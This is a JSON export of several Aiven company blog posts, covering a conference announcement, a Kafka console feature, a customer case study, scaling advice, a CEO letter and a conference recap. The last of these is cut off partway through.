{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"4B2wRmNYrwgmE7mgpWMED9","_rev":"cEPH2uRN58AU2lp9QO8HFZ","_type":"post","_updatedAt":"2022-09-08T16:29:12Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"}],"body":"You may have heard [the news](https://twitter.com/aiven_io/status/1489237310600327171 \"Tweet about Aiven hosting Uptime\") that we are hosting a developer conference this September, called __Uptime__. In this blog post, we’ll go over some of the frequently asked questions about the conference and its target audience. Before we jump into the details, a quick PSA: The __Call for Presentations__ for Uptime is open, so if you already have a talk idea in mind, submit it by __March 9__ via the [CFP form](https://sessionize.com/uptime-conference-2022/ \"Uptime CFP form\"). \n\n## What is Uptime?\n\nUptime is the __cloud data infrastructure conference with a focus on open source technologies__. We intend to bring the open source data community together to share best practices and around building and operating complex systems at scale. \n\nThis is a developer conference and, as self-identified total geeks, we want to pack in as much technical content as possible. Of course, as it’s an in-person event, we’ll leave plenty of time for social interaction and stimulating conversations!\n\nThe event is happening on September 14-15 at [Pakhuis de Zwijger](https://dezwijger.nl/ \"Pakhuis de Zwijger\") in Amsterdam (the website is mostly in Dutch, sorry about that, unless you speak Dutch in which case you’re welcome). The venue is quite easily accessible by car and public transport, and it has hosted many technical events before us. \n\n## Who is Uptime for?\n\nThe conference is designed for developers, architects, data engineers, DevOps professionals, and anyone who is passionate about open source data. The focus is on use cases for open source tools like PostgreSQL®, Apache Kafka®, Redis™, Apache Flink®, and Grafana®, and best practices in the data engineering space and cloud infrastructure. \n\nHere are some of the topics we plan to cover:\n- Cloud data architecture\n- Data engineering \n- Distributed systems\n- Developer tools (Observability, monitoring and alerting, SRE and performance) \n\n## Sounds interesting. How can I participate?\n\nWe have recently launched the [Call for Presentations](https://sessionize.com/uptime-conference-2022/ \"Uptime Call for Presentations\") and are looking forward to receiving your compelling ideas! Our main priority is to provide the audience with the best possible learning experience, so the content is key to this event. We’re looking for your most exciting and informative talks on open source data tools, so if you have a proposal, submit it via the [CFP form](https://sessionize.com/uptime-conference-2022/ \"CFP form\") by __March 9, 2022.__ \n\nEven if you’re a first-time speaker or don’t have a specific idea in mind yet, don’t hesitate to take the leap. Don’t worry too much about whether we’ll accept your proposal - just submit it anyway and leave the rest to us. Our team is here to support you throughout the submission process, Reach out to us via __uptime-speakers@aiven.io__ - we’d be happy to help you brainstorm ideas and offer guidance.\n\n## Wrapping up\n\nWe hope this sparks your interest in attending and/or speaking at Uptime this fall. If you need more information about the event, you can always reach us via __uptime-hello@aiven.io__. Hope to see you in September in Amsterdam! \n\nFollow us on Twitter for updates on the event: [https://twitter.com/uptimecon](https://twitter.com/uptimecon \"Uptime Twitter\").","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844-png","_type":"reference"}},"publishedAt":"2022-02-18T00:00:00.000Z","seo":{"metaDescription":"Uptime Conference in Amsterdam, September 14-15, 2022. Come and meet the open source data community in-person and talk about all things data in the cloud! ","metaImage":{"alt":"","asset":{"_ref":"image-b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844-png","_type":"reference"}},"metaTitle":"Introducing the Uptime Developer Conference by Aiven"},"slug":{"_type":"slug","current":"/blog/introducing-the-uptime-developer-conference-by-aiven"},"subtitle":"Uptime Conference in Amsterdam, September 14-15, 2022. Come and meet the open source data community in-person and talk about all things data in the cloud! ","title":"Introducing the Uptime Developer Conference by Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5jnJq8jTzNWJjzYkjk9GAg","_rev":"cEPH2uRN58AU2lp9QO7rS5","_type":"post","_updatedAt":"2022-09-08T16:20:26Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Apache Kafka users need a quick and easy way to view the state of their message queues and see if recent messages are being ingested correctly. Previously, you’d have needed external tools, monitoring systems, or APIs to view messages residing on a specific Kafka topic.\n\n\u003e Now you can view Kafka messages live in the Aiven Console. \n\nViewing the message queues dynamically in the console allows [Aiven for Apache Kafka](/kafka) users to get a feel for their data, as well as troubleshoot their event streams, content and schema. \n\nThe message-viewing feature comes with the ability to sort messages by location, partition, offset, timeout and maximum size. This adds simplicity and provides a degree of granularity useful for troubleshooting complex message queues. \n\n## How to use Aiven Console to produce and view messages\n\nMessages written to Aiven for Apache Kafka topics appear under the Topics section of your Kafka instance in the Console. Let’s generate a few messages to show how the feature works.\n\n### Viewing messages from the console\n\nNOTE: You’ll need an Aiven for Apache Kafka Business-4 plan or better to see Kafka messages in Aiven Console. And you’ll need to enable Kafka REST API to use the feature, as follows:\n\n![Viewing Apache Kafka messages in the Aiven Console, step 1](//cdn.sanity.io/images/sczeoy4w/production/1fc8aa443f14ae12b879a8561ab6892cff5d6ead-1438x706.gif)\n\nIn the “Topics” tab on Aiven Console, create a couple of topics, for example ```jsontest``` and ```other_topic```: \n\n![Viewing Apache Kafka messages in the Aiven Console, step 2](//cdn.sanity.io/images/sczeoy4w/production/11020ef0db0731ea5bb40fe45d0f470b7a028b22-1438x812.gif)\n\nNow, let’s try producing and viewing messages directly from the ```jsontest``` topic from within Aiven Console. First, click \u003cspan\u003e![Show messaged icon](//cdn.sanity.io/images/sczeoy4w/production/29b8eea208089cfaad6fd12e99ce7b46f160e01c-72x47.png)\u003c/span\u003e icon in the ```jsontest``` topic row — this will expand the message view window. \n\nNext, press the \u003cspan\u003e![produce message dialogue button](//cdn.sanity.io/images/sczeoy4w/production/237078fb9c0c977005d56a04a6f617db424f6491-151x41.png)\u003c/span\u003e button to invoke the Produce Message dialog. Enter a valid JSON message and value, and hit \u003cspan\u003e![Produce message execution button](//cdn.sanity.io/images/sczeoy4w/production/adb0690d08c8338373f3cdacbdb43ab54f1d1d60-94x43.png)\u003c/span\u003e. Once you are looking at the message view again, just hit \u003cspan\u003e![Fetch messages button](//cdn.sanity.io/images/sczeoy4w/production/f8b1a160df835c957fd9f3b0dd3728883d493f59-139x47.png)\u003c/span\u003e to update the list.\n\nHere’s how that looks altogether:\n\n![Viewing Apache Kafka messages in the Aiven Console, step 3](//cdn.sanity.io/images/sczeoy4w/production/62a750c901228e1a6e86dcb1d2eb548897e95823-1428x877.gif)\n\nOf course, the messages would also appear here if you’d piped them in from a producer, or used, for example ```curl``` to generate new messages to your topic. (You’d simply press the \u003cspan\u003e![Fetch messages button](//cdn.sanity.io/images/sczeoy4w/production/f8b1a160df835c957fd9f3b0dd3728883d493f59-139x47.png)\u003c/span\u003e button to refresh the list.)\n\n## Wrapping up\n\nThe ability to produce and fetch messages from within the Aiven Console makes it a lot easier for Kafka users to test their clusters, event streams, and topic configurations. These troubleshooting tools remove some of the guesswork and extra tooling needed for users to get a feel for their data as it moves through their messaging queue.\n\nAiven for Apache Kafka is a work in progress, so we’ll always be adding new features. Remember subscribe to our [changelog](/changelog/feed.xml) and [blog](/blog/feed.xml) RSS feeds, or follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) to stay up-to-date.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-c74c3812d56d5d2d6ebc38fff959c4fb204bd496-1567x844-png","_type":"reference"}},"publishedAt":"2020-04-28T00:00:00.000Z","seo":{"metaDescription":"Viewing Apache Kafka® messages live from the Aiven Console provides a host of benefits. Find out what they are and how to set it up in this post.","metaImage":{"alt":"","asset":{"_ref":"image-c74c3812d56d5d2d6ebc38fff959c4fb204bd496-1567x844-png","_type":"reference"}},"metaTitle":"View Apache Kafka® messages live in the Aiven Console"},"slug":{"_type":"slug","current":"/blog/kafka-messages-ui-announcement"},"subtitle":"Viewing Apache Kafka® messages live from the Aiven Console provides a host of benefits. Find out what they are and how to set it up in this post.","title":"View Apache Kafka® messages live in the Aiven Console"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1zFmZEUwouNf244n9VtbQK","_rev":"V5UdSzFEWrLT7ZlMFOAcZ3","_type":"post","_updatedAt":"2023-08-03T10:36:48Z","authors":[{"_key":"2ok23v2W1SP3fLku5nUSJ6","_ref":"2ok23v2W1SP3fLku5nUSJ6","_type":"reference"}],"body":"Founded in 2013, Ometria has grown to serve the needs of hundreds of retail marketers. The company delivers detailed insights about their customers used to create personalized marketing experiences through Ometria’s marketing platform.\n\nTo deliver these insights, Ometria gathers and analyzes consumer data from a customer’s various data sources. As Ometria continued to grow, so did their data volumes, and their existing setup with AWS’ RDS started to show considerable weaknesses. CTO Al James explains:\n\n\u003e We saw very spiky performance on RDS for the analytical style queries and we ended up in a situation where we were increasing provisioned IOPS all the time to try to stabilize it. It's very expensive because we ended up paying for a massive workload.\n\nWith Aiven for PostgreSQL, Ometria has overcome their data challenges, and reduced infrastructure cost is only one of the advantages they gained. Download the full case study below to find out how Aiven’s PostgreSQL solution helped Ometria secure the scalability of their business and continue to grow.\n\nFor more Aiven case study summaries, check out the [Aiven case studies](https://aiven.io/case-studies) page. And don’t forget to subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, or follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n\n[![Ometria-CS-CTA](//cdn.sanity.io/images/sczeoy4w/production/f80b717ee326fd432d9719bd944c45cd74ddebb1-1600x471.png)](/case-studies/aiven-for-postgresql-helps-ometria)","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-34ab4ff17bb5477849853b4ef08339b19e7ffcb1-1567x844-png","_type":"reference"}},"publishedAt":"2020-10-07T00:00:00.000Z","seo":{"metaDescription":"Find out why Ometria chooses Aiven for PostgreSQL over Amazon’s RDS to power their retail marketing platform.","metaImage":{"alt":"","asset":{"_ref":"image-34ab4ff17bb5477849853b4ef08339b19e7ffcb1-1567x844-png","_type":"reference"}},"metaTitle":"Ometria delivers customer insights faster with Aiven [Case Study]"},"slug":{"_type":"slug","current":"/blog/ometria-and-aiven-case-study"},"subtitle":"Find out why Ometria chooses Aiven for PostgreSQL over Amazon’s RDS to power their retail marketing platform.","title":"Ometria delivers customer insights faster with Aiven [Case Study]"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2buJjGffFsGlM8WYzORUIs","_rev":"wguC7mbo0o2K8r1KhmaT4F","_type":"post","_updatedAt":"2023-05-16T11:23:29Z","authors":[{"_key":"2Ryrx752TTp7pQatYrn0lw","_ref":"2Ryrx752TTp7pQatYrn0lw","_type":"reference"}],"body":"Let's talk about five hard truths for scaling data intensive applications.\n\nThe principles covered in this article are things that we've learned through experience and through talking to people on our network, helping customers scale data workloads in the cloud. We'll go through the whole thought process, from how to make sure you're working on the right things all the way through to how to set yourself up for success.\n\nWe want to make sure that you but also the ecosystem of tooling and companies that support you are successful.\n\nFor each of the principles, we'll talk about a mindset or a quote that helps you think about the problem differently. And we'll ask you a couple questions that you should really challenge yourself and your team with.\n\n![The Big Five](//cdn.sanity.io/images/sczeoy4w/production/eab50bb3d577164d875f0b1499af24194983b214-2500x1667.png)\n\n## 1. Limit the scope\n\nYou want to make sure that you're working on the right problems and focusing on customer pain. And I always go back to the mindset that I had in college of get it working, keep it working. And this goes right along with the concept of MVP that relates to working in a startup: *Minimum Viable Product*. Define what's needed, define the problem you're trying to solve and focus in on the customer pain. That's what's going to drive revenue.\n\nThe challenging questions that I like to ask my customers or my friends with startups is what's growing faster:\n\n- Your code base and your product backlog?\n- Or your customer base and your revenue?\n\nMake sure you're taking a step back and not just building the fun, fancy features. Ensure you're really focusing on customer first. Don't design and build in a vacuum. Make sure that the feedback loop is tight and implemented well.\n\n## 2. Know your limits and your runway\n\nOnce you designed the solution, you really need to design the customer experience - and make sure you do it on purpose. In software engineering and software architecture, there's the concept of a *runway*: knowing how much time you have left with the application system or knowing how much capacity you have left.\n\nThink of the process of building a solution as an airplane sitting on a runway. You start rolling, going to take off, and as you go faster and faster, there's a point where you need to make a decision: to step on the brakes, so that you have enough time and room to stop, pivot and turn onto the taxiway - or to fully commit to taking off.\n\nAnd the important thing is you need to have all the information necessary upfront to make that decision. You don't want to wait until you're at that spot to make the decision.\n\nAnd the same is true with software architecture. And you want to make sure that you have all the capacity, all the information, all the observability, all the traceability, all the information before you have to make that decision. Don't be surprised by it.\n\nAnd the question I'd like to challenge my customers and friends with is:\n- How many customers are too many?\n- When is a customer too big?\n\nAs far as how many customers is too many is concerned, I like to think of orders of magnitude, that is, multiples of 2X, 10 X, 100 X overnight. If your customer base doubled in size, what would break?\n\nWhen you start talking about 10 X overnight, at that point, it's usually what's *not* going to break, what system is actually going to stand up, what infrastructure is going to stand up. And you start some interesting conversations about indexing strategies or sharding strategies or auto-scaling strategies.\n\nAnd you realize that you may have certain blind spots. And then again, if your customers increase 100 X overnight, if you think about the system that can handle that load - what does that even look like? Are you even headed in the right direction to be able to scale to that? Do you have the patterns and processes in place to be able to scale to that volume? That's an example of horizontally scaling.\n\nOn the other hand, how big a customer is _too_ big? Is there a case where a customer has too much data, too many users interactions with your application? How do you define \"too big\" from the application point of view? How's that going to affect your database tables, your infrastructure decisions... What is going to break? If you take your largest customer and imagine that 10 X, then 100 X, what's going to happen in those cases?\n\n## 3. Observability!\n\nOnce you define a scaling strategy, you need to make sure that you have systems in place to observe that. Make sure that you mind your blind spots. Do not make assumptions that everything's okay.\n\nIf you don't know, assume the worst, know where you are and take those by taking those measurements. And remember, capacity and stability are not a Boolean state. It's a continuum. You're rolling down the runway. When are you at the point where you have to make a decision and do you have all the information necessary?\n\nDon't be surprised when you're at the end of the runway and you're not going fast enough or you don't have the flaps out, make sure you have everything in place and know where you are.\n\nThe difficult question that I really like to ask, honestly, it goes back to intelligence:\n\n- Do you know what you don't know?\n- Where are your blind spots?\n- What are you not measuring?\n\nAnd then also once, once you've identified some of those blind spots, or maybe even when you're trying to think of them, which looming decisions would be the most disruptive?\n\nMake sure you're measuring those, see all the information necessary, you know, where you are on that runway.\n\nAnd it's really hard to get right. But don't let it seem like too big of a task.\n\n## 4. Integrations and tooling are underrated\n\nThere's a whole ecosystem of tooling and integrations around almost every technology, every program and framework, every cloud. There's a lot of really smart people out there that want to make this easier. They like solving difficult problems, and your problems aren't new.\n\nIf you're a developer, you've been on Stack Overflow, and you've seen the posts from two, three years ago, searching the exact area you're searching. This goes back to standing on the shoulder of giants. Use what's there - don't feel like you always have to come up with your own solution, doing things the hard way.\n\nRemember the most expensive part of the cloud is between the keyboard and the chair.\n\nSo the difficult question, which I always like to ask is: *How do you make money*? What does your company do that pulls in revenue? Is it running your own Kubernetes cluster? Is it managing your own premises data center? Is it building your own logging framework?\n\nI ask those silly questions because I've worked at companies that have done all of those things. Did that give us an advantage in the end? I don't know. You really have to answer that question for yourself.\n\nAnd then, if those things aren't earning you money - why do you do that? What advantage does it give you? Are you even getting an advantage? Are you losing out on opportunity cost by not using those engineering resources better?\n\nRemember, there's a time and a place to choose build versus buy, use frameworks or outsource or build your own solution. But you need to know when that time is, and that place.\n\nKeep that in mind and set yourself up for success. Above all, remember, it's an ecosystem. You live in the tech community.\n\n## 5. Mutual success above all\n\nThere's a quote floating around the internet: if you want to go fast, go alone. If you want to go far, go together. And that's also true with tech products. Being able to leverage the expertise of others, whether it's hiring new expertise and bringing that in-house, whether that's relying on a consulting firm's professional services, or if that's using a managed service provider, make sure that you know what's going to give you advantage and how you can best use that.\n\nRealize that, at the end of the day, your vendors or your managed service provide a service in exchange for money. So the questions I like to ask are:\n\n- How do they make that money?\n- How do they grow?\n- What are their goals with you?\n\nAre there goals to just grow your account a hundred percent year over year, or are there different mechanisms to define mutual success? Think about how that affects your relationship.\n\n## Aiven works on the right things\n\nAt Aiven, we strive every day to work on the right things, knowing where we are. We try to put all these principles that we talked about in place so that not only are we successful, but also our customers, our vendors, all the supporting platforms we build on top of, are successful, too.\n\n## Wrapping up\nAiven's a Database As A Service platform, and we're built by developers for developers to make developers' lives better. Just like out in the industry, there's a lot of smart people working in Aiven. There's a lot of smart people _using_ Aiven services. \n\nTo partner with smart people to solve difficult problems, [start a free trial](https://console.aiven.io/signup) and reach out to the experts at Aiven. Let's work on the really hard problems together.\n\n--\n\nCome and follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-9a6779f1f883d6ebad01d81ef859f2a209fc7c91-1567x844-png","_type":"reference"}},"publishedAt":"2022-04-14T00:00:00.000Z","seo":{"metaDescription":"Join David Esposito as he gives you the low-down on building data architectures that stand up even under the largest loads.","metaImage":{"alt":"","asset":{"_ref":"image-9a6779f1f883d6ebad01d81ef859f2a209fc7c91-1567x844-png","_type":"reference"}},"metaTitle":"5 hard truths about scaling data intensive applications"},"slug":{"_type":"slug","current":"/blog/5-hard-truths-about-scaling-data-intensive-applications"},"subtitle":"Join David Esposito as he gives you the low-down on building data architectures that stand up even under the largest loads.","title":"5 hard truths about scaling data intensive applications"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1r1LXVaHBSxFSR1w3eJKuY","_rev":"V5UdSzFEWrLT7ZlMFNm2Bp","_type":"post","_updatedAt":"2023-06-19T08:30:58Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"I’m a self-taught programmer. When I started out I just wanted to build things, often without a clear plan, and learn while doing so. Open source allowed me to do that. It not only provided the tools, but also access to the thought processes of the people who were building this cutting edge technology.  \n\nIn the late 80s my dad, who used Sun workstations in his research, introduced me to Unix; and later in the 90s we heard about Linux, which was new, free and worked on home computers. That’s when I started to learn more about open source software, but back then I was a consumer, not a contributor.\n\nWhen the web came around, I had been a hobbyist programmer for years, writing little software utilities and games for my own amusement. I was just finishing high school when I first started using relational databases and learned about SQL. I was working for my friend’s company, where I sat in front of an SGI O2 workstation and built very early dynamic websites. In most projects we used the proprietary Solid database. I wanted to create my own websites, but proprietary databases were out of my reach, so I started looking for free software alternatives. \n\n\u003e \"Back then I was a consumer, not a contributor.\"\n\nIn 1999, a friend of mine introduced me to PostgreSQL. I’ve been working on it, and with it, ever since.\n\nBack then, open source communities and projects often revolved around a small group of people whose personalities and interests defined those communities. Most of the projects worked through mailing lists where change proposals were debated. Patches by new contributors rarely made it through on the first try. \n\nThis was sometimes discouraging for first time contributors, but taking part taught me a lot. It also felt pretty exciting when your patch was finally integrated and you saw your name in the changelog of a new release. \n\n\u003e \"Open source not only provided the tools, but also access to the thought processes of the people who were building this cutting edge technology.\"\n\nToday, open source is more widely accepted and more successful than ever before, and a great variety of companies have used it to create valuable things. But the world of technology and software is always changing, and the companies built on open source face a new challenge: the cloud is becoming the de facto standard deployment environment for all kinds of applications. Some companies have reacted by turning their backs on the open source community, which is a shortsighted move by them. I believe that open source will survive these changes and keep thriving.\n\nDuring the 2000s I watched with Hannu \\[Valtonen] and Mika \\[Eloranta], both of whom I met at F-Secure, as AWS grew in popularity and Google Cloud and Microsoft Azure emerged. And we drew our own conclusions: in the future all applications would be built in the cloud, where you can define all parts of an application’s lifetime in terms of software. \n\nEventually, we three left F-Secure to start a new company. We helped organizations in the Nordics to get the most out of PostgreSQL and other open source database engines. \n\n![Oskari-inline-image1](//cdn.sanity.io/images/sczeoy4w/production/dcac382d6a30b20fcb2c915c6a08e05c220149b2-1567x844.jpg \"The founders at Slush\")\n\nIn 2015 we decided to stop doing consulting gigs and started working on a new idea: a multi-cloud data platform that would productize our expertise on PostgreSQL and other open source technologies. In this we were joined by Heikki \\[Nousiainen] whom I’d known since high school and who had signed me on to F-Secure years ago. We wanted to put Kafka at the core of everything because it allowed for such a clean and neat architecture, but when we tried we quickly learned how supremely difficult it is to operate. So we decided to also offer it as a service to future Aiven customers. Looking back, that turned out to be a very good decision.\n\n\u003e \"We started Aiven to build something we would have loved to use ourselves.\"\n\nWe started Aiven to build something we would have loved to use ourselves in our previous projects. We wanted to make a service that allows developers to worry less and get more stuff done. \n\nWhen we started building Aiven, we followed three core principles: Work hard to create simple solutions for complex problems. Automate everything. Hire the best people.\n\nWe’re still doing all that, but we’ve gone from four founders with an idea to a thriving globally distributed company of 140, working with developers across an awesome variety of organizations using software to build meaningful things. \n\nWith the fresh Series C round of funding, we’ll be able to take Aiven even further. We’ve always been fans of open source at Aiven, and as we’ve grown and become more successful, we’ve become more and more dependent on open source projects and communities. Our own contributions have mostly been occasional stabs at scratching our immediate itches, but now we finally have the resources to significantly step up our contributions. \n\nWe already reward our employees for contributions to open source projects, but we want to do more. We’re now building an open source office at Aiven that will be launching new open source projects and contributing significantly to the key projects we work with. We’re already receiving applications for these positions. I’m very excited to see where this open road will take us!\n\n![Plain sailing](//cdn.sanity.io/images/sczeoy4w/production/0eaa2296c8d6521302d83e88ecdde01af49d2964-1567x844.jpg \"The Aiven crew is ready to set sail!\")\n\n*To learn more about Aiven’s Series C funding round, see [our announcement post](https://aiven.io/press/aiven-raises-usd100m-series-c-to-expand-global-open-source-innovation \"Aiven raises USD100M Series C to expand global open source innovation\"). The [Aiven \u003c3 Open Source](https://aiven.io/open-source) page tells you about our OS contributions. And we’re always looking for new talent to join us in our exciting journey, so please have a look at our [Careers](https://aiven.io/careers) page to see if there’s anything you’d like to help us with!*\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-140ac6dc045183d281b7d518122536af80ab0889-1567x844-png","_type":"reference"}},"publishedAt":"2021-03-23T00:00:00.000Z","seo":{"metaDescription":"Since 2017, Aiven has grown from zero to a global company with 140 employees and a valuation of over $800M. Join me in reliving some of that story.","metaImage":{"alt":"","asset":{"_ref":"image-140ac6dc045183d281b7d518122536af80ab0889-1567x844-png","_type":"reference"}},"metaTitle":"Building Aiven from zero to $800M - a letter from our CEO"},"slug":{"_type":"slug","current":"/blog/building-aiven-from-zero-to-usd800m-a-letter-from-our-ceo"},"subtitle":"Since 2017, Aiven has grown from zero to a global company with 140 employees and a valuation of over $800M. Join me in reliving some of that story.","title":"Building Aiven from zero to $800M - a letter from our CEO"}
{"__i18n_lang":"en","_createdAt":"2022-06-25T01:00:19Z","_id":"56pIm9KpwAESabH8TohrTO","_rev":"CK1sLU2mnwa3vmbYWEePHw","_type":"post","_updatedAt":"2022-09-08T16:31:17Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"}],"body":"Last week, some of the Aiven team and I had the pleasure of meeting the developer community in person at [Berlin Buzzwords 2022](https://2022.berlinbuzzwords.de/ \"Berlin Buzzwords 2022\"). As always, the conference was packed with great content and people from all over the world, so personally, I was quite torn between the sessions and the expo hall! Thankfully, some of my colleagues kindly shared their highlights with me, so keep reading for a recap of our favorite talks. \n\n## Stream\nThere were lots of great streaming talks and I’m excited to start off with the one by our wonderful Developer Advocate, Olena Kutsenko. If you’re curious about Apache Kafka and how it works, Olena’s session “[Apache Kafka® simply explained](https://www.youtube.com/watch?v=3yHwdsOr4HQ \"Apache Kafka® simply explained \")” is a great way to start, with a very entertaining example that you can also [check out on GitHub](https://github.com/anelook/kafka-first-steps \"GitHub example\"). \n\nSpeaking of Apache Kafka®, [Amrit Sarkar’s session](https://www.youtube.com/watch?v=F50ieoWLv_s\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=7 \"Amrti Sarkar's session\") is worth checking out to dive into metrics and indicators that matter most while running Kafka at scale. For those who are struggling with scaling Kafka pipelines, [this talk by Opher Dubrovsky and Ido Nadler](https://www.youtube.com/watch?v=MP3tM5Ip5Pk \"this talk by Opher Dubrovsky and Ido Nadler\") could come in handy.\n\nChristoph Schubert did [a comprehensive introduction of the Kafka Streams architecture](https://www.youtube.com/watch?v=e3Ww-0Gs8O0\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=41 \"a comprehensive introduction of the Kafka Streams architecture\") and talked about best practices for running your Kafka Streams application smoothly in production. And if you’re a fan of Apache Flink® (I know we are!), [this talk by Timo Walther](https://www.youtube.com/watch?v=iRlLaY-P6iE\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=9 \"this talk by Timo Walther\") gives a really good overview of the stream processing framework and its capabilities. \n\nIt was also interesting to learn more about Apache Druid®, which is an open source analytics database for modern data-intensive applications, and luckily, [Sergio Ferragut gave a great introduction](https://www.youtube.com/watch?v=0Ql3Zideawg\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=43 \"Sergio Ferragut gave a great introduction\") to its architecture. (Shameless plug: there will also be another opportunity to hear [Sergio speak about Apache Druid® at Uptime](https://uptime.aiven.io/session/322788 \"Sergio speak about Apache Druid® at Uptime\")!)\n\n## Scale\n“A smart person learns from their own mistakes, but a truly wise person learns from the mistakes of others.” A great theme for a talk! Noaa Barki shared some [lessons and recurring patterns her team learned from reviewing 100+ Kubernetes post-mortems](https://www.youtube.com/watch?v=XUnDV69V0n0\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=6 \"lessons and recurring patterns her team learned from reviewing 100+ Kubernetes post-mortems\"), so you can avoid those. \n\nAnother interesting Kubernetes use case was shared by Ramiro Alvarez Fernandez, Álvaro Panizo, and Daniel Hernández Alfageme. The Empathy.co team [showed how they migrated from a cluster in the cloud to Kubernetes](https://www.youtube.com/watch?v=wK01Fpp6L6k\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=39 \"showed how they migrated from a cluster in the cloud to Kubernetes\"), with some actual figures on cost and performance. \n\nFor some great advice and strategies for validating large systems, we recommend checking out “[Effective CI/CD for Large Systems](https://www.youtube.com/watch?v=TJcTIhEH_8w\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=47 \"Effective CI/CD for Large Systems\")” by Josh Reed. Not only because Josh is our colleague, but also because this talk is just plain useful when testing large systems, integrating new changes, and ensuring good code quality.\n\n## Search\nOne of the highlights for our team was the chance to meet the OpenSearch and Apache Lucene® folks in person and hear some great talks about these technologies! Uwe Schindler talked about [the future of Lucene's MMapDirectory](https://pretalx.com/bbuzz22/talk/WYC9ZB/ \"the future of Lucene's MMapDirectory\"), which is a very strong and specific technical subject, but with a nice overview of memory mapped files from the ground up in Java. Eli Fisher talked about [how search engine technologies, like OpenSearch®, and their features have evolved to be adopted for many other use cases](https://pretalx.com/bbuzz22/talk/MP9BBT/ \"how search engine technologies, like OpenSearch®, and their features have evolved to be adopted for many other use cases\"), e.g. log analytics, security analytics, and more.\n\nIf you’re curious about some other interesting search engine examples, [Atita Arora introduced the Vespa architecture](https://www.youtube.com/watch?v=_ML-QB0Zxvg\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=29 \"Atita Arora introduced the Vespa architecture\"), its advanced features, and how to generally understand Vespa with a fresh or Lucene-based mindset. It’s also worth checking out [Richard Goodman’s talk about using Apache Solr® unconventionally to serve 26bn+ documents](https://www.youtube.com/watch?v=tr4XYE2r0dE\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=17 \"Richard Goodman’s talk about using Apache Solr® unconventionally to serve 26bn+ documents\"). \n\n## Store\nFor those of you who are excited about all the different OLAP solutions out there, [Chinmay Soman’s talk about Apache Pinot®](https://www.youtube.com/watch?v=yM_bkT5U9ww\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=55 \"Chinmay Soman’s talk about Apache Pinot®\") could be interesting to check out. Chinmay goes over Pinot’s capabilities and what makes it a unique OLAP platform. \n\nIt was quite interesting to [hear about OpenTelemetry](https://www.youtube.com/watch?v=QfDU4XSWwhU\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=50 \"hear about OpenTelemetry\") (which will also be covered at [Uptime](https://uptime.aiven.io/session/325010 \"Uptime\")!) and how it allows the creation of custom metrics in a standard, scalable, and reusable way from [Ricardo Ferreira](https://pretalx.com/bbuzz22/talk/DNPKX8/ \"Ricardo Ferreira\"). \n\nFans of PostgreSQL® (hi!) will enjoy [this engaging session by our colleague Francesco 